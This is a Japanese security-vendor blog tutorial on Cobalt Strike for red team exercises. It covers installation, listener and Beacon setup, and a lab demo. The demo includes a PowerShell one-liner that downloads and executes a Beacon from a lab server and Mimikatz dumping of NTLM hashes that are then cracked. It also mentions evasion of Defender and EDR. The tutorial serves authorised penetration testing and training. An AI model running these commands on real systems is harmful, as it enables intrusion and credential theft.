サイト内の現在位置

Cobalt Strikeを使ってみよう

NECセキュリティブログ

2025年8月1日

NECサイバーセキュリティ技術統括部セキュリティ技術センターの外山です。
今回はペネトレーションテストやレッドチーム演習に便利なCobalt Strikeについてご紹介します。
Cobalt Strikeは高度な機能を持ちますが、今回はインストールから遠隔操作までの流れを簡単に紹介します。また、Cobalt Strikeの扱い方に習熟するためにおすすめの教材についても紹介します。

目次

Cobalt Strikeとは

Cobalt Strikeは攻撃者のシミュレーションやレッドチーム演習に使用可能なC2フレームワークですnew window[1]
実際の攻撃者が使用する手法をシミュレーションすることで、レッドチーム演習を高度かつ効率的に行い、組織の防御態勢の評価に役立てることができます。

Cobalt Strikeの機能概要

Cobalt Strikeの基本的な動作を理解する上でTeam Server、Client、Beaconの3つのコンポーネントを理解することが重要です。
Team ServerはBeaconの制御を行うサーバーとして、Beaconに対する指示や、Beaconから抽出したデータの保存等を担当します。
Clientはオペレーターが実際に操作するGUIとして、Team Serverに接続し、Listener(後述します)の設定やBeaconの生成、Team Serverを経由したBeaconに対する操作を行います。
Beaconはターゲットの端末上で動作するエージェントプログラムで、Team Serverから指示を受け取り、コマンド実行や各種モジュール実行を行います。

検証環境

今回はTeam Server、Client、Victimの3台のマシンを使用します。なお、今回は簡単なデモのためMicrosoft Defenderを無効化しています。
加えて、DNSサーバーやリダイレクタ等の設定は省略し簡略化しています。

Cobalt Strikeのインストール

それでは簡単にCobalt Strikeのインストールをしてみます。インストールは公式のドキュメントPDF[2]に従えば簡単に行うことができます。なお、Cobalt Strikeには評価版も用意されているnew window[3]ため、気になる方はリクエストを送ることも可能です。

Team Serverのインストール

Team Serverのインストールnew window[4]を行います。今回はOSとしてUbuntu Server 24.04.2 LTSを使用しています。
最初に以下のコマンドでJavaをインストールnew window[5]します。

sudo apt-get update
sudo apt-get install openjdk-11-jdk
sudo update-java-alternatives -s java-1.11.0-openjdk-amd64

以下の通りJavaがインストールできました。

続いてCobaltStrikeをインストールします。
Cobalt Strikeのライセンスを契約すると、インストーラのダウンロードリンクとライセンスキーを受け取ることができます。cobaltstrike-dist-linux.tgzをダウンロードし、インストール先のサーバーに保存します。
tgz形式で圧縮されているインストーラを、以下の通り展開します。

続いてインストールしたCobaltStrikeのアップデートを行います。このとき、契約時に受領したライセンスキーを入力する必要があります。

これでTeam Serverのインストールは完了です。Javaをインストールし、圧縮ファイルを展開して更新プログラムを実行するだけなので、簡単にインストールすることができます。

Clientのインストール

Team Serverに続いて、Clientのインストールを行います。Clientは攻撃者を模した診断員が実際に操作するGUIです。
最初にJavaをインストールします。new windowhttps://jdk.java.net/archive/からJDKを入手します。

C:\Program Files配下にzipファイルを展開します。

環境変数には、展開したパスである「C:\Program Files\jdk-24.0.1\bin」
を追加します。

Team Serverと同様に、ダウンロードリンクからcobaltstrike-dist-windows.zipをダウンロードし、Clientのインストール先のマシンに転送します。

転送したzipファイルを展開し、update.batを実行します。

これでClientのインストールも完了しました。

Cobalt Strikeの使い方

Team Serverの起動

コマンド「./teamserver [Team ServerのIPアドレス] [TeamServerに接続するためのパスワード]」で起動します。

Team Serverへの接続

ClientからTeam Serverに接続します。HostにはTeam ServerのIPアドレス、Portはデフォルトの50050、ユーザーは任意のユーザー名、PasswordはTeam Serverを起動する際にコマンドで指定したパスワードを入力します。

接続に成功すると以下のような画面が表示されます。

HTTP Listenerの設定

Listenerでは、Team ServerとBeaconが通信するためのC2チャネルを設定しますnew window[6]。ListenerにはDNS、HTTP/HTTPS、SMB、TCP等が存在します。
今回はHTTP Listenerを使用します。[Cobalt Strike]>[Listeners]を選択し、Listenersタブを表示し、[Add]を押下します。

新しいListenerを作成する画面が開くので、Nameを任意の分かりやすい名前、PayloadをBeacon HTTP、HTTP HostsにTeam ServerのIPアドレスを入力し、[OK]を押下します。

HTTP Listenerを設定することにより、Team ServerでHTTPを使用したC2通信の準備が整いました。

Beaconの生成

Beaconは標的のマシン上で動作するプログラムですnew window[7]。Team Serverと定期的に通信を行い、コマンドの受信・実行・結果送信を行う役割を担います。
[Payloads]>[Windows Stageless Generate All Payloads]を選択します。

保存先を指定し[Generate]を押下します。

Beaconの生成に成功すると、複数のファイルが保存されていることが確認できます。すべてがHTTPを使用してTeam Serverと接続するプログラムであり、形式が異なるだけですが、今回はPowerShellを使用するhttp_x64.ps1を使用します。

ファイルのホスト

Team Server上で、HTTPサーバーとしてファイルをホストすることができます。今回はhttp_x64.ps1を標的に渡すために、ファイルのホスト機能を使用します。

Fileに先ほど生成したhttp_x64.ps1を指定し、Local URIに/http_x64.ps1を指定します。
これにより、http://192.168.100.2/http_x64.ps1としてhttp_x64.ps1をダウンロードすることができます。

Beaconの起動

標的のマシンでBeaconを起動します。
http://192.168.100.2/http_x64.ps1をダウンロードし実行するために、管理者として起動したPowerShellで以下のコマンドを実行します。

iex(new-object net.webclient).downloadstring('http://192.168.100.2/http_x64.ps1')

Beaconが起動すると、Team ServerとBeaconが接続されたことをClientの画面で確認することができます。

runコマンドによる遠隔操作

Beaconに対してrunコマンドを実行すると、標的のマシン上でコマンドを実行することができます。ここでは例としてwhoamiコマンドを実行しています。

Mimikatzによる資格情報の窃取

Cobalt Strikeには様々な機能がありますが、例としてMimikatzによる資格情報の窃取を紹介します。
lsadump::samはWindowsのSecurity Account ManagersのデータベースからNTLMハッシュを抽出するコマンドですnew window[8]

例えば以下の通り、managerユーザーのNTLMハッシュが6c67120987370c29d821326f086aec35であることを特定できたとします。

得られたNTLMハッシュに対し、John The RipperやHashcat等のオフライン解析ツール、あるいはCrackStation.net等のようなオンライン解析ツールを使用することで、managerユーザーのパスワードが「RememberMe」であることがわかります。

高度な設定について

Cobalt Strikeは高度で複雑なツールですが、今回はインストールから使い方までの流れに焦点を当て簡単に紹介しました。そのため、Cobalt Strikeが持つ本来の高度な機能については多くを紹介していません。
今回の検証環境ではMicrosoft Defenderを無効化しました。ただし、実際の環境ではMicrosoft DefenderだけでなくEDRも導入され、SOCが怪しい動きがないか監視していることが多いです。そのような場合、Cobalt StrikeではMalleable C2new window[9]というTeam ServerやBeaconの挙動を柔軟に変更できる設定ファイルを使用することができます。これにより、正規の通信や特定のAPTを模倣し、組織の防御をかいくぐることが可能となります。また「Arsenal Kit」と呼ばれる、検知回避能力強化用のツールキットを使用して動作をカスタマイズすることもできます。
高度な使い方について興味がある方は、機能紹介new window[10]や公式ドキュメントnew window[1]を眺めてみることをおすすめします。

Cobalt Strikeに関連する教材

Cobalt Strikeは高度な攻撃をシミュレーションできるツールではありますが、高価new window[11]かつ購入した時点で即座に使いこなせるものでもありません。

そのため、事前に使い方を練習しておくことをおすすめします。私が教材としておすすめしたいのは公式ドキュメントnew window[1]と、Zero-Point Securityが提供するトレーニングコースであるRed Team Opsnew window[12]です。その他、公式サイトでは教材をまとめて紹介new window[13]しており、動画でも学べるようになっています。

Red Team Ops

Red Team Opsは実際にCobalt Strikeを使って学習することができるトレーニングコースです。詳細については弊社のブログ記事[14]にて記載していますのでご覧ください。
なお、つい先日プラットフォームの更新new window[15]が行われました。内容として大きな変更はありませんが、ラボの使用可能時間が課金制ではなくなり、より良くなりました。
私自身も旧プラットフォームnew window[16]と新プラットフォームnew window[17]でRed Team Operatorに合格することができました。体系的な知識を得るには良いコースであり、試験もコースの内容から出題される素直で楽しいものでした。

Red Team Ops II

Red Team Ops IInew window[18]はRed Team Opsの内容を前提に、OPSEC(運用セキュリティ)戦術と防御バイパス戦略を学びます。Red Team OpsではMicrosoft Defenderの回避のみが必要でしたが、IIになるとElasticを回避します。標的のマシンにも追加の保護対策が施され、それらを回避する必要が出てきます。
執筆時点では新プラットフォームで公開されておらず「Coming soon...」と表示されていますnew window[19]が、近々公開されると思われるので、EDR回避等の高度な扱い方を学びたい方はRed Team Ops IIまで学ぶと良いと思います。
先日Red Team Leadnew window[20]に合格しましたが、十分に下準備を行えば試験を楽しむことができると思います。

最後に

複雑化・高度化するサイバー攻撃に対応するには、我々も常に技術を研鑽し続けることが必要です。
Cobalt Strikeは組織の防御力を測る目的で使うと便利なツールです。今回は簡単に使い方と勉強方法を紹介しましたが、カスタマイズを含む高度な使い方は習得に時間がかかります。本記事がCobalt Strikeを理解する一助となれば幸いです。

参考文献

執筆者プロフィール

外山 拓(とやま たく)
担当領域:リスクハンティング

脆弱性診断やペネトレーションテストを主な業務としつつ、セキュリティ研修講師や社内CTF運営として得られた知見を社内に還元している。
情報処理安全確保支援士(RISS)/CISSP,CCSP/CISA/GXPN/CEH MASTER/CRTP,CRTE/CRTO,CRTL/OSCP,OSWE,OSDA/IPA(ES,SC,NW)/AWS(SAP,SCS)/2級鍵師/甲種火薬類取扱保安責任者/危険物乙種3,4,5,6類/CVE19件報告実績などを保持。

執筆者の他の記事を読む

アクセスランキング